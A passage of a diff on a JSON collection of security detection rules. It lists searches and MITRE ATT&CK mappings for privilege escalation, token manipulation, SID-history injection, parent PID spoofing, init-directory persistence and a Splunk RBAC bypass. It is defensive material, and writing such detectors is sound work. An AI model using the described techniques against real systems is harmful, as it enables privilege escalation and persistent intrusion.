"Linux", + "macOS", + "Google Workspace", + "Containers" + ], + "data_source": "network traffic", + "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", + "collection_layers": [ + "host", + "network", + "cloud" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "IaaS" + ], + "contributors": [ + "ATT&CK", + "CTID", + "ExtraHop" + ], + "data_component": "network traffic flow", + "type": "information", + "description": "Information about the flow of network packets in a network connection, either captured on the wire or on an endpoint.", + "source_data_element": "network traffic flow", + "relationship": "identified", + "target_data_element": "network traffic volume" } ], "external_reference": [], @@ -649829,66 +437397,6 @@ "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", "https://tools.ietf.org/html/rfc2866" ] - }, - { - "name": "Linux File Creation In Init Boot Directory", - "description": "The following analytic detects the creation of files in Linux init boot directories, which are used for automatic execution upon system startup. It leverages file system logs to identify new files in directories such as /etc/init.d/ and /etc/rc.d/. This activity is significant as it is a common persistence technique used by adversaries, malware authors, and red teamers. If confirmed malicious, this could allow an attacker to maintain persistence on the compromised host, potentially leading to further exploitation and unauthorized control over the system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.file_path IN (\"*/etc/init.d/*\", \"*/etc/rc.d/*\", \"*/sbin/init.d/*\", \"*/etc/rc.local*\") by Filesystem.dest Filesystem.file_name Filesystem.process_guid Filesystem.file_path | `drop_dm_object_name(Filesystem)` | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `linux_file_creation_in_init_boot_directory_filter`", - "tags": { - "analytic_story": [ - "Linux Persistence Techniques", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A file $file_name$ is created in $file_path$ on $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1037.004", - "mitre_attack_technique": "RC Scripts", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1037", - "mitre_attack_technique": "Boot or Logon Initialization Scripts", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29", - "Rocke" - ] - } - ] - } } ], "external_reference": [ @@ -650691,999 +438199,7 @@ "Event ID": null, "Event Name": "Access Tokens" } - ], - { - "name": "Splunk RBAC Bypass On Indexing Preview REST Endpoint", - "description": "The following analytic identifies unauthorized attempts to use the /services/indexing/preview REST endpoint in Splunk. It detects POST requests to this endpoint by monitoring the _internal index for specific URI patterns. This activity is significant because it indicates a potential RBAC (Role-Based Access Control) bypass, allowing unauthorized users to overwrite search results if they know the search ID (SID) of an existing job. If confirmed malicious, this could lead to data manipulation, unauthorized access to sensitive information, and compromised integrity of search results.", - "search": "`splunkda` method=\"POST\" uri=\"*/services/indexing/preview*\" | table host clientip status useragent user uri_path | `splunk_rbac_bypass_on_indexing_preview_rest_endpoint_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "clientip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Review $clientip$ access to indexing preview endpoint from low privilege user", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1134", - "mitre_attack_technique": "Access Token Manipulation", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Blue Mockingbird", - "FIN6" - ] - } - ] - } - }, - { - "name": "Runas Execution in CommandLine", - "description": "The following analytic detects the execution of the runas.exe process with administrator user options. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions and process details. This activity is significant as it may indicate an attempt to gain elevated privileges, a common tactic in privilege escalation and lateral movement. If confirmed malicious, this could allow an attacker to execute commands with higher privileges, potentially leading to unauthorized access, data exfiltration, or further compromise of the target host.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_runas` AND Processes.process = \"*/user:*\" AND Processes.process = \"*admin*\" by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `runas_execution_in_commandline_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Hermetic Wiper", - "Windows Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "elevated process using runas on $dest$ by $user$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1134", - "mitre_attack_technique": "Access Token Manipulation", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Blue Mockingbird", - "FIN6" - ] - }, - { - "mitre_attack_id": "T1134.001", - "mitre_attack_technique": "Token Impersonation/Theft", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "FIN8" - ] - } - ] - } - }, - { - "name": "Windows Access Token Manipulation SeDebugPrivilege", - "description": "The following analytic detects a process enabling the \"SeDebugPrivilege\" privilege token. It leverages Windows Security Event Logs with EventCode 4703, filtering out common legitimate processes. This activity is significant because SeDebugPrivilege allows a process to inspect and modify the memory of other processes, potentially leading to credential dumping or code injection. If confirmed malicious, an attacker could gain extensive control over system processes, enabling them to escalate privileges, persist in the environment, or access sensitive information.", - "search": "`wineventlog_security` EventCode=4703 EnabledPrivilegeList = \"*SeDebugPrivilege*\" AND NOT(ProcessName IN (\"*\\\\Program File*\", \"*\\\\System32\\\\lsass.exe*\", \"*\\\\SysWOW64\\\\lsass.exe*\", \"*\\\\SysWOW64\\\\svchost.exe*\", \"*\\\\System32\\\\svchost.exe*\")) | stats count min(_time) as firstTime max(_time) as lastTime by Computer ProcessName ProcessId SubjectDomainName SubjectUserName SubjectUserSid TargetUserName TargetLogonId TargetDomainName EnabledPrivilegeList action | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_access_token_manipulation_sedebugprivilege_filter`", - "tags": { - "analytic_story": [ - "AsyncRAT", - "Brute Ratel C4", - "CISA AA23-347A", - "DarkGate Malware", - "PlugX" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "Computer", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A process $ProcessName$ adjust its privileges with SeDebugPrivilege on $Computer$.", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1134.002", - "mitre_attack_technique": "Create Process with Token", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Lazarus Group", - "Turla" - ] - }, - { - "mitre_attack_id": "T1134", - "mitre_attack_technique": "Access Token Manipulation", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Blue Mockingbird", - "FIN6" - ] - } - ] - } - }, - { - "name": "Windows Access Token Manipulation Winlogon Duplicate Token Handle", - "description": "The following analytic detects a process attempting to access winlogon.exe to duplicate its handle. This is identified using Sysmon EventCode 10, focusing on processes targeting winlogon.exe with specific access rights. This activity is significant because it is a common technique used by adversaries to escalate privileges by leveraging the high privileges and security tokens associated with winlogon.exe. If confirmed malicious, this could allow an attacker to gain elevated privileges, potentially leading to full system compromise and unauthorized access to sensitive information.", - "search": "`sysmon` EventCode=10 TargetImage IN(\"*\\\\system32\\\\winlogon.exe*\", \"*\\\\SysWOW64\\\\winlogon.exe*\") GrantedAccess = 0x1040 | stats count min(_time) as firstTime max(_time) as lastTime by SourceImage TargetImage SourceProcessGUID TargetProcessGUID SourceProcessId TargetProcessId GrantedAccess CallTrace dest user_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_access_token_manipulation_winlogon_duplicate_token_handle_filter`", - "tags": { - "analytic_story": [ - "Brute Ratel C4" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "SourceImage", - "type": "Process Name", - "role": [ - "Parent Process" - ] - } - ], - "message": "A process $SourceImage$ is duplicating the handle token of winlogon.exe in $dest$", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1134.001", - "mitre_attack_technique": "Token Impersonation/Theft", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "FIN8" - ] - }, - { - "mitre_attack_id": "T1134", - "mitre_attack_technique": "Access Token Manipulation", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Blue Mockingbird", - "FIN6" - ] - } - ] - } - }, - { - "name": "Windows Access Token Winlogon Duplicate Handle In Uncommon Path", - "description": "The following analytic detects a process attempting to duplicate the handle of winlogon.exe from an uncommon or public source path. This is identified using Sysmon EventCode 10, focusing on processes targeting winlogon.exe with specific access rights and excluding common system paths. This activity is significant because it may indicate an adversary trying to escalate privileges by leveraging the high-privilege tokens associated with winlogon.exe. If confirmed malicious, this could allow the attacker to gain elevated access, potentially leading to full system compromise and persistent control over the affected host.", - "search": "`sysmon` EventCode=10 TargetImage IN(\"*\\\\system32\\\\winlogon.exe*\", \"*\\\\SysWOW64\\\\winlogon.exe*\") AND GrantedAccess = 0x1040 AND NOT (SourceImage IN(\"C:\\\\Windows\\\\*\", \"C:\\\\Program File*\", \"%systemroot%\\\\*\")) | stats count min(_time) as firstTime max(_time) as lastTime by Computer SourceImage TargetImage SourceProcessGUID TargetProcessGUID SourceProcessId TargetProcessId GrantedAccess CallTrace | rename Computer as dest| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_access_token_winlogon_duplicate_handle_in_uncommon_path_filter`", - "tags": { - "analytic_story": [ - "Brute Ratel C4" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "SourceImage", - "type": "Process Name", - "role": [ - "Parent Process" - ] - } - ], - "message": "A process $SourceImage$ is duplicating the handle token of winlogon.exe on $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1134.001", - "mitre_attack_technique": "Token Impersonation/Theft", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "FIN8" - ] - }, - { - "mitre_attack_id": "T1134", - "mitre_attack_technique": "Access Token Manipulation", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Blue Mockingbird", - "FIN6" - ] - } - ] - } - }, - { - "name": "Windows AD Cross Domain SID History Addition", - "description": "The following analytic detects changes to the sIDHistory attribute of user or computer objects across different domains. It leverages Windows Security Event Codes 4738 and 4742 to identify when the sIDHistory attribute is modified. This activity is significant because the sIDHistory attribute allows users to inherit permissions from other AD accounts, which can be exploited by adversaries for inter-domain privilege escalation and persistence. If confirmed malicious, this could enable attackers to gain unauthorized access to resources, maintain persistence, and escalate privileges across domain boundaries.", - "search": "`wineventlog_security` (EventCode=4742 OR EventCode=4738) NOT SidHistory IN (\"%%1793\", -) | rex field=SidHistory \"(^%{|^)(?P.*)(\\-|\\\\\\)\" | rex field=TargetSid \"^(?P.*)(\\-|\\\\\\)\" | where SidHistoryMatch!=TargetSidmatch AND SidHistoryMatch!=TargetDomainName | rename TargetSid as userSid | table _time action status host user userSid SidHistory Logon_ID src_user | `windows_ad_cross_domain_sid_history_addition_filter`", - "tags": { - "analytic_story": [ - "Sneaky Active Directory Persistence Tricks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src_user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Active Directory SID History Attribute was added to $user$ by $src_user$", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1134.005", - "mitre_attack_technique": "SID-History Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1134", - "mitre_attack_technique": "Access Token Manipulation", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Blue Mockingbird", - "FIN6" - ] - } - ] - } - }, - { - "name": "Windows AD Privileged Account SID History Addition", - "description": "The following analytic identifies when the SID of a privileged user is added to the SID History attribute of another user. It leverages Windows Security Event Codes 4742 and 4738, combined with identity lookups, to detect this activity. This behavior is significant as it may indicate an attempt to abuse SID history for unauthorized access across multiple domains. If confirmed malicious, this activity could allow an attacker to escalate privileges or maintain persistent access within the environment, posing a significant security risk.", - "search": "`wineventlog_security` (EventCode=4742 OR EventCode=4738) NOT SidHistory IN (\"%%1793\", -) | rex field=SidHistory \"(^%{|^)(?P.*?)(}$|$)\" | eval category=\"privileged\" | lookup identity_lookup_expanded category, identity as SidHistory OUTPUT identity_tag as match | where isnotnull(match) | rename TargetSid as userSid | table _time action status host user userSid SidHistory Logon_ID src_user | `windows_ad_privileged_account_sid_history_addition_filter`", - "tags": { - "analytic_story": [ - "Sneaky Active Directory Persistence Tricks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src_user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A Privileged User Account SID History Attribute was added to $userSid$ by $src_user$", - "risk_score": 90, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1134.005", - "mitre_attack_technique": "SID-History Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1134", - "mitre_attack_technique": "Access Token Manipulation", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Blue Mockingbird", - "FIN6" - ] - } - ] - } - }, - { - "name": "Windows AD Same Domain SID History Addition", - "description": "The following analytic detects changes to the sIDHistory attribute of user or computer objects within the same domain. It leverages Windows Security Event Codes 4738 and 4742 to identify when the sIDHistory attribute is modified. This activity is significant because the sIDHistory attribute can be abused by adversaries to grant unauthorized access by inheriting permissions from another account. If confirmed malicious, this could allow attackers to maintain persistent access or escalate privileges within the domain, posing a severe security risk.", - "search": "`wineventlog_security` (EventCode=4742 OR EventCode=4738) NOT SidHistory IN (\"%%1793\", -) | rex field=SidHistory \"(^%{|^)(?P.*)(\\-|\\\\\\)\" | rex field=TargetSid \"^(?P.*)(\\-|\\\\\\)\" | where SidHistoryMatch=TargetSidmatch OR SidHistoryMatch=TargetDomainName | rename TargetSid as userSid, TargetDomainName as userDomainName | table _time action status host user userSid userDomainName SidHistory Logon_ID src_user | `windows_ad_same_domain_sid_history_addition_filter`", - "tags": { - "analytic_story": [ - "Sneaky Active Directory Persistence Tricks", - "Windows Persistence Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src_user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Active Directory SID History Attribute was added to $user$ by $src_user$", - "risk_score": 100, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1134.005", - "mitre_attack_technique": "SID-History Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1134", - "mitre_attack_technique": "Access Token Manipulation", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Blue Mockingbird", - "FIN6" - ] - } - ] - } - }, - { - "name": "Windows AD SID History Attribute Modified", - "description": "The following analytic detects modifications to the SID History attribute in Active Directory by leveraging event code 5136. This detection uses logs from the `wineventlog_security` data source to identify changes to the sIDHistory attribute. Monitoring this activity is crucial as the SID History attribute can be exploited by adversaries to inherit permissions from other accounts, potentially granting unauthorized access. If confirmed malicious, this activity could allow attackers to maintain persistent access and escalate privileges within the domain, posing a significant security risk.", - "search": " `wineventlog_security` EventCode=5136 AttributeLDAPDisplayName=sIDHistory OperationType=\"%%14674\" | stats values(ObjectDN) as ObjectDN by _time, Computer, SubjectUserName, AttributeValue | rename Computer as dest | `windows_ad_sid_history_attribute_modified_filter`", - "tags": { - "analytic_story": [ - "Sneaky Active Directory Persistence Tricks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "SID History AD attribute modified by $SubjectUserName$ for $ObjectDN$ on $dest$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1134", - "mitre_attack_technique": "Access Token Manipulation", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Blue Mockingbird", - "FIN6" - ] - }, - { - "mitre_attack_id": "T1134.005", - "mitre_attack_technique": "SID-History Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Parent PID Spoofing with Explorer", - "description": "The following analytic identifies a suspicious `explorer.exe` process with the `/root` command-line parameter. This detection leverages Endpoint Detection and Response (EDR) telemetry, focusing on process and command-line data. The presence of `/root` in `explorer.exe` is significant as it may indicate parent process spoofing, a technique used by malware to evade detection. If confirmed malicious, this activity could allow an attacker to operate undetected, potentially leading to unauthorized access, privilege escalation, or persistent threats within the environment.", - "search": "| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*explorer.exe*\" Processes.process=\"*/root,*\" by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_parent_pid_spoofing_with_explorer_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An explorer.exe process with process commandline $process$ on dest $dest$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1134.004", - "mitre_attack_technique": "Parent PID Spoofing", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1134", - "mitre_attack_technique": "Access Token Manipulation", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Blue Mockingbird", - "FIN6" - ] - } - ] - } - }, - { - "name": "Windows Privilege Escalation Suspicious Process Elevation", - "description": "The following analytic detects when a process running with low or medium integrity from a user account spawns an elevated process with high or system integrity in suspicious locations. This behavior is identified using process execution data from Windows process monitoring or Sysmon Event ID 1. This activity is significant as it may indicate a threat actor successfully elevating privileges, which is a common tactic in advanced attacks. If confirmed malicious, this could allow the attacker to execute code with higher privileges, potentially leading to full system compromise and persistent access.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime from datamodel=Endpoint.Processes where Processes.process_integrity_level IN (\"low\",\"medium\",\"high\") NOT Processes.user IN (\"*SYSTEM\",\"*LOCAL SERVICE\",\"*NETWORK SERVICE\",\"DWM-*\",\"*$\") by Processes.dest, Processes.user, Processes.parent_process_guid, Processes.parent_process, Processes.parent_process_name Processes.process_name Processes.process, Processes.process_path, Processes.process_guid, Processes.process_integrity_level, Processes.process_current_directory | `drop_dm_object_name(Processes)` | eval join_guid = process_guid, integrity_level = CASE(match(process_integrity_level,\"low\"),1,match(process_integrity_level,\"medium\"),2,match(process_integrity_level,\"high\"),3,match(process_integrity_level,\"system\"),4,true(),0) | rename user as src_user, parent_process* as orig_parent_process*, process* as parent_process* | join max=0 dest join_guid [| tstats `security_content_summariesonly` count max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_integrity_level IN (\"system\") NOT Processes.user IN (\"*SYSTEM\",\"*LOCAL SERVICE\",\"*NETWORK SERVICE\",\"DWM-*\",\"*$\")) OR (Processes.process_integrity_level IN (\"high\",\"system\") AND (Processes.parent_process_path IN (\"*\\\\\\\\*\",\"*\\\\Users\\\\*\",\"*\\\\Temp\\\\*\",\"*\\\\ProgramData\\\\*\") OR Processes.process_path IN (\"*\\\\\\\\*\",\"*\\\\Users\\\\*\",\"*\\\\Temp\\\\*\",\"*\\\\ProgramData\\\\*\"))) by Processes.dest, Processes.user, Processes.parent_process_guid, Processes.process_name, Processes.process, Processes.process_path, Processes.process_integrity_level, Processes.process_current_directory | `drop_dm_object_name(Processes)` | eval elevated_integrity_level = CASE(match(process_integrity_level,\"low\"),1,match(process_integrity_level,\"medium\"),2,match(process_integrity_level,\"high\"),3,match(process_integrity_level,\"system\"),4,true(),0) | rename parent_process_guid as join_guid ] | where elevated_integrity_level > integrity_level OR user != elevated_user | fields dest, user, src_user, parent_process_name, parent_process, parent_process_path, parent_process_guid, parent_process_integrity_level, parent_process_current_directory, process_name, process, process_path, process_guid, process_integrity_level, process_current_directory, orig_parent_process_name, orig_parent_process, orig_parent_process_guid, firstTime, lastTime, count | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_privilege_escalation_suspicious_process_elevation_filter`", - "tags": { - "analytic_story": [ - "Windows Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Other", - "role": [ - "Attacker" - ] - } - ], - "message": "The user $src_user$ launched a process [$parent_process_name$] which spawned a suspicious elevated integrity process [$process_name$].", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1068", - "mitre_attack_technique": "Exploitation for Privilege Escalation", - "mitre_attack_tactics": [ - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT33", - "BITTER", - "Cobalt Group", - "FIN6", - "FIN8", - "LAPSUS$", - "MoustachedBouncer", - "PLATINUM", - "Scattered Spider", - "Threat Group-3390", - "Tonto Team", - "Turla", - "Whitefly", - "ZIRCONIUM" - ] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1134", - "mitre_attack_technique": "Access Token Manipulation", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Blue Mockingbird", - "FIN6" - ] - } - ] - } - }, - { - "name": "Windows Privilege Escalation System Process Without System Parent", - "description": "The following analytic detects any system integrity level process spawned by a non-system account. It leverages Sysmon Event ID 1, focusing on process integrity and parent user data. This behavior is significant as it often indicates successful privilege escalation to SYSTEM from a user-controlled process or service. If confirmed malicious, this activity could allow an attacker to gain full control over the system, execute arbitrary code, and potentially compromise the entire environment.", - "search": "`sysmon` EventCode=1 IntegrityLevel=\"system\" ParentUser=* NOT ParentUser IN (\"*SYSTEM\",\"*LOCAL SERVICE\",\"*NETWORK SERVICE\",\"*DWM-*\",\"*$\",\"-\") | eval src_user = replace(ParentUser,\"^[^\\\\\\]+\\\\\\\\\",\"\") | stats count min(_time) as firstTime max(_time) as lastTime values(process_name) as process_name values(process) as process, values(process_path) as process_path, values(process_current_directory) as process_current_directory values(parent_process) as parent_process by dest, user, src_user, parent_process_name, parent_process_guid | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_privilege_escalation_system_process_without_system_parent_filter`", - "tags": { - "analytic_story": [ - "Windows Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "src_user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Other", - "role": [ - "Attacker" - ] - } - ], - "message": "The process [$process_name$] on $dest$ was launched with system level integrity by $src_user$.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1068", - "mitre_attack_technique": "Exploitation for Privilege Escalation", - "mitre_attack_tactics": [ - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT33", - "BITTER", - "Cobalt Group", - "FIN6", - "FIN8", - "LAPSUS$", - "MoustachedBouncer", - "PLATINUM", - "Scattered Spider", - "Threat Group-3390", - "Tonto Team", - "Turla", - "Whitefly", - "ZIRCONIUM" - ] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1134", - "mitre_attack_technique": "Access Token Manipulation", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Blue Mockingbird", - "FIN6" - ] - } - ] - } - }, - { - "name": "Windows Privilege Escalation User Process Spawn System Process", - "description": "The following analytic detects when a process with low, medium, or high integrity spawns a system integrity process from a user-controlled location. This behavior is indicative of privilege escalation attempts where attackers elevate their privileges to SYSTEM level from a user-controlled process or service. The detection leverages Sysmon data, specifically Event ID 15, to identify such transitions. Monitoring this activity is crucial as it can signify an attacker gaining SYSTEM-level access, potentially leading to full control over the affected system, unauthorized access to sensitive data, and further malicious activities.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime from datamodel=Endpoint.Processes where Processes.process_integrity_level IN (\"low\",\"medium\",\"high\") NOT Processes.user IN (\"*SYSTEM\",\"*LOCAL SERVICE\",\"*NETWORK SERVICE\",\"DWM-*\",\"*$\") AND Processes.process_path IN (\"*\\\\\\\\*\",\"*\\\\Users\\\\*\",\"*\\\\Temp\\\\*\",\"*\\\\ProgramData\\\\*\") by Processes.dest, Processes.user, Processes.parent_process_guid, Processes.parent_process, Processes.parent_process_name Processes.process_name Processes.process, Processes.process_path, Processes.process_guid, Processes.process_integrity_level, Processes.process_current_directory | `drop_dm_object_name(Processes)` | eval join_guid = process_guid | join max=0 dest join_guid [| tstats `security_content_summariesonly` count max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_integrity_level IN (\"system\") AND Processes.parent_process_path IN (\"*\\\\\\\\*\",\"*\\\\Users\\\\*\",\"*\\\\Temp\\\\*\",\"*\\\\ProgramData\\\\*\") by Processes.dest, Processes.user, Processes.parent_process_guid, Processes.process_name, Processes.process, Processes.process_path, Processes.process_integrity_level, Processes.process_current_directory | `drop_dm_object_name(Processes)` | rename parent_process_guid as join_guid, process* as system_process*, user as system_user ] | fields dest, user, parent_process, parent_process_name, parent_process_guid, process, process_name, process_guid, process_integrity_level,process_path, process_current_directory, system_process_name, system_process, system_process_path, system_process_integrity_level, system_process_current_directory, system_user, firstTime, lastTime, count | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | 